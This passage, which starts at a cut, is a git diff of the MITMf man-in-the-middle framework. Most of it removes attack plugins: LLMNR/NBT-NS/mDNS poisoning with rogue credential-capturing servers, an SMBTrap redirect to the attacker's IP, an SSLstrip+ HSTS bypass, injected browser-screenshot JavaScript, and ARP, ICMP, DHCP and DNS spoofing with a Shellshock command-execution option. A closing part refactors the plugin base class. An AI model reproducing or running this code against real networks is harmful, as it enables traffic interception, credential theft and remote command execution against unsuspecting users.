response.getClientIP() - hn = response.getRequestHostname() - mime = response.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py deleted file mode 100644 index 9ea9fec..0000000 --- a/plugins/Responder.py +++ /dev/null @@ -1,128 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from twisted.internet import reactor -from core.utils import SystemConfig, shutdown - -from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner -from core.responder.mdns.MDNSPoisoner import MDNSPoisoner -from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner -from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter -from core.responder.wpad.WPADPoisoner import WPADPoisoner - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.ourip = SystemConfig.getIP(options.interface) - - try: - config = self.config['Responder'] - smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception as e: - shutdown('[-] Error parsing config for Responder: ' + str(e)) - - LANFingerprinter().start(options) - MDNSPoisoner().start(options, self.ourip) - NBTNSPoisoner().start(options, self.ourip) - LLMNRPoisoner().start(options, self.ourip) - - if options.wpad: - from core.responder.wpad.WPADPoisoner import WPADPoisoner - WPADPoisoner().start(options) - - if self.config["Responder"]["MSSQL"].lower() == "on": - from core.responder.mssql.MSSQLServer import MSSQLServer - MSSQLServer().start(smbChal) - - if self.config["Responder"]["Kerberos"].lower() == "on": - from core.responder.kerberos.KERBServer import KERBServer - KERBServer().start() - - if self.config["Responder"]["FTP"].lower() == "on": - from core.responder.ftp.FTPServer import FTPServer - FTPServer().start() - - if self.config["Responder"]["POP"].lower() == "on": - from core.responder.pop3.POP3Server import POP3Server - POP3Server().start() - - if self.config["Responder"]["SMTP"].lower() == "on": - from core.responder.smtp.SMTPServer import SMTPServer - SMTPServer().start() - - if self.config["Responder"]["IMAP"].lower() == "on": - from core.responder.imap.IMAPServer import IMAPServer - IMAPServer().start() - - if self.config["Responder"]["LDAP"].lower() == "on": - from core.responder.ldap.LDAPServer import LDAPServer - LDAPServer().start(smbChal) - - if options.analyze: - self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - self.IsICMPRedirectPlausible(self.ourip) - - def IsICMPRedirectPlausible(self, IP): - result = [] - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - - for x in dnsip: - if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: - self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) - else: - pass - - def IsOnTheSameSubnet(self, ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - - def pluginReactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def pluginOptions(self, options): - options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") - # Removed these options until I find a better way of implementing them - #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py deleted file mode 100644 index aba0d5d..0000000 --- a/plugins/SMBTrap.py +++ /dev/null @@ -1,24 +0,0 @@ -import logging -import random -import string -from plugins.plugin import Plugin -from core.utils import SystemConfig - -mitmf_logger = logging.getLogger("mitmf") - -class SMBTrap(Plugin): - name = "SMBTrap" - optname = "smbtrap" - desc = "Exploits the SMBTrap vulnerability on connected clients" - version = "1.0" - has_opts = False - - def initialize(self, options): - self.ourip = SystemConfig.getIP(options.interface) - - def serverResponseStatus(self, request, version, code, message): - return {"request": request, "version": version, "code": 302, "message": "Found"} - - def serverHeaders(self, response, request): - mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) - response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 78c9de4..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import logging - -from plugins.plugin import Plugin -from core.sslstrip.URLMonitor import URLMonitor -from core.servers.dns.DNSchef import DNSChef -from core.utils import IpTables - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_info = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False - - def initialize(self, options): - self.options = options - self.manualiptables = options.manualiptables - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) - - URLMonitor.getInstance().setHstsBypass() - DNSChef.getInstance().setHstsBypass() - - def finish(self): - if not self.manualiptables: - if IpTables.getInstance().dns is True: - IpTables.getInstance().Flush() diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py deleted file mode 100644 index eae51ee..0000000 --- a/plugins/Screenshotter.py +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import base64 -import urllib -import re - -from datetime import datetime -from plugins.Inject import Inject -from plugins.plugin import Plugin - -mitmf_logger = logging.getLogger('mitmf') - -class ScreenShotter(Inject, Plugin): - name = 'ScreenShotter' - optname = 'screen' - desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' - ver = '0.1' - has_opts = True - - def initialize(self, options): - self.interval = 10 or options.interval - Inject.initialize(self, options) - self.html_payload = self.get_payload() - - def clientRequest(self, request): - if 'saveshot' in request.uri: - request.printPostData = False - client = request.client.getClientIP() - img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - try: - with open('./logs/' + img_file, 'wb') as img: - img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) - img.close() - - mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file)) - except Exception as e: - mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e)) - - def get_payload(self): - canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) - return '' - - def pluginOptions(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py deleted file mode 100644 index 37379fd..0000000 --- a/plugins/Spoof.py +++ /dev/null @@ -1,132 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from core.utils import SystemConfig, IpTables, shutdown -from core.poisoners.arp.ARPpoisoner import ARPpoisoner -from core.poisoners.arp.ARPWatch import ARPWatch -from core.servers.dns.DNSchef import DNSChef -from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner -from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner -from plugins.plugin import Plugin -from scapy.all import * - -class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - version = "0.6" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.dnscfg = self.config['MITMf']['DNS'] - self.dhcpcfg = self.config['Spoof']['DHCP'] - self.targets = options.targets - self.arpmode = options.arpmode or 'rep' - self.manualiptables = options.manualiptables - self.mymac = SystemConfig.getMAC(options.interface) - self.myip = SystemConfig.getIP(options.interface) - self.protocolInstances = [] - - #Makes scapy more verbose - debug = False - - if options.arp: - - if not options.gateway: - shutdown("[-] --arp argument requires --gateway") - - if options.targets is None: - #if were poisoning whole subnet, start ARP-Watch - arpwatch = ARPWatch(options.gateway, self.myip, options.interface) - arpwatch.debug = debug - - self.tree_info.append("ARPWatch online") - self.protocolInstances.append(arpwatch) - - arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) - arp.arpmode = self.arpmode - arp.debug = debug - - self.protocolInstances.append(arp) - - - elif options.icmp: - - if not options.gateway: - shutdown("[-] --icmp argument requires --gateway") - - if not options.targets: - shutdown("[-] --icmp argument requires --targets") - - icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, self.myip) - icmp.debug = debug - - self.protocolInstances.append(icmp) - - elif options.dhcp: - - if options.targets: - shutdown("[-] --targets argument invalid when DCHP spoofing") - - dhcp = DHCPServer(options.interface, self.dhcpcfg, self.myip, self.mymac) - dhcp.shellshock = options.shellshock - dhcp.debug = debug - self.protocolInstances.append(dhcp) - - if options.dns: - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.dnscfg['port']) - - if not options.arp and not options.icmp and not options.dhcp and not options.dns: - shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") - - SystemConfig.setIpForwarding(1) - - if not options.manualiptables: - if IpTables.getInstance().http is False: - IpTables.getInstance().HTTP(options.listen) - - for protocol in self.protocolInstances: - protocol.start() - - def pluginOptions(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]') - options.add_argument('--arpmode',type=str, dest='arpmode', default=None, choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') - - def finish(self): - for protocol in self.protocolInstances: - if hasattr(protocol, 'stop'): - protocol.stop() - - if not self.manualiptables: - IpTables.getInstance().Flush() - - SystemConfig.setIpForwarding(0) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py deleted file mode 100644 index c4ffd0b..0000000 --- a/plugins/Upsidedownternet.py +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from cStringIO import StringIO -from plugins.plugin import Plugin -from PIL import Image, ImageFile - -mitmf_logger = logging.getLogger("mitmf") - -class Upsidedownternet(Plugin): - name = "Upsidedownternet" - optname = "upsidedownternet" - desc = 'Flips images 180 degrees' - version = "0.1" - has_opts = False - - def initialize(self, options): - globals()['Image'] = Image - globals()['ImageFile'] = ImageFile - self.options = options - - def serverHeaders(self, response, request): - '''Kill the image skipping that's in place for speed reasons''' - if request.isImageRequest: - request.isImageRequest = False - request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() - - def serverResponse(self, response, request, data): - try: - isImage = getattr(request, 'isImage') - except AttributeError: - isImage = False - - if isImage: - try: - #For some reason more images get parsed using the parser - #rather than a file...PIL still needs some work I guess - p = ImageFile.Parser() - p.feed(data) - im = p.close() - im = im.transpose(Image.ROTATE_180) - output = StringIO() - im.save(output, format=self.imageType) - data = output.getvalue() - output.close() - mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP())) - except Exception as e: - mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e)) - - return {'response': response, 'request': request, 'data': data} diff --git a/plugins/__init__.py b/plugins/__init__.py index 155e900..9522dbd 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,5 +1,3 @@ -#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python -#Has to be a cleaner way to do this, but it works for now import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] diff --git a/plugins/plugin.py b/plugins/plugin.py index ff0dd97..89ab856 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,25 +1,52 @@ -''' -The base plugin class. This shows the various methods that -can get called during the MITM attack. -''' -from core.configwatcher import ConfigWatcher -import logging +#!/usr/bin/env python2.7 -mitmf_logger = logging.getLogger('mitmf') +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import argparse + +from core.configwatcher import ConfigWatcher +from core.logger import logger class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" - tree_info = list() + tree_info = [] desc = "" version = "0.0" - has_opts = False + + def __init__(self, parser): + '''Passed the options namespace''' + if self.desc: + sgroup = parser.add_argument_group(self.name, self.desc) + else: + sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name)) + + sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name)) + + self.options(sgroup) def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def clientRequest(self, request): + def request(self, request): ''' Handles all outgoing requests, hooks connectionMade() request object has the following attributes: @@ -32,32 +59,43 @@ class Plugin(ConfigWatcher, object): ''' pass - def serverHeaders(self, response, request): + def responseheaders(self, response, request): ''' Handles all response headers, hooks handleEndHeaders() ''' pass - def serverResponseStatus(self, request, version, code, message): + def responsestatus(self, request, version, code, message): ''' Handles server response HTTP version, code and message ''' return {"request": request, "version": version, "code": code, "message": message} - def serverResponse(self, response, request, data): + def response(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) ''' return {'response': response, 'request':request, 'data': data} - def pluginOptions(self, options): + def on_config_change(self): + """Do something when MITMf detects the config file has been modified""" + pass + + def options(self, options): '''Add your options to the options parser''' pass - def pluginReactor(self, strippingFactory): - '''This sets up another instance of the reactor on a diffrent port, passed the default factory''' + def reactor(self, strippingFactory): + '''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory''' pass - def finish(self): + def setup_logger(self): + formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.log = logger().setup_logger(self.name, formatter) + + formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter) + + def on_shutdown(self): '''This will be called when shutting down''' pass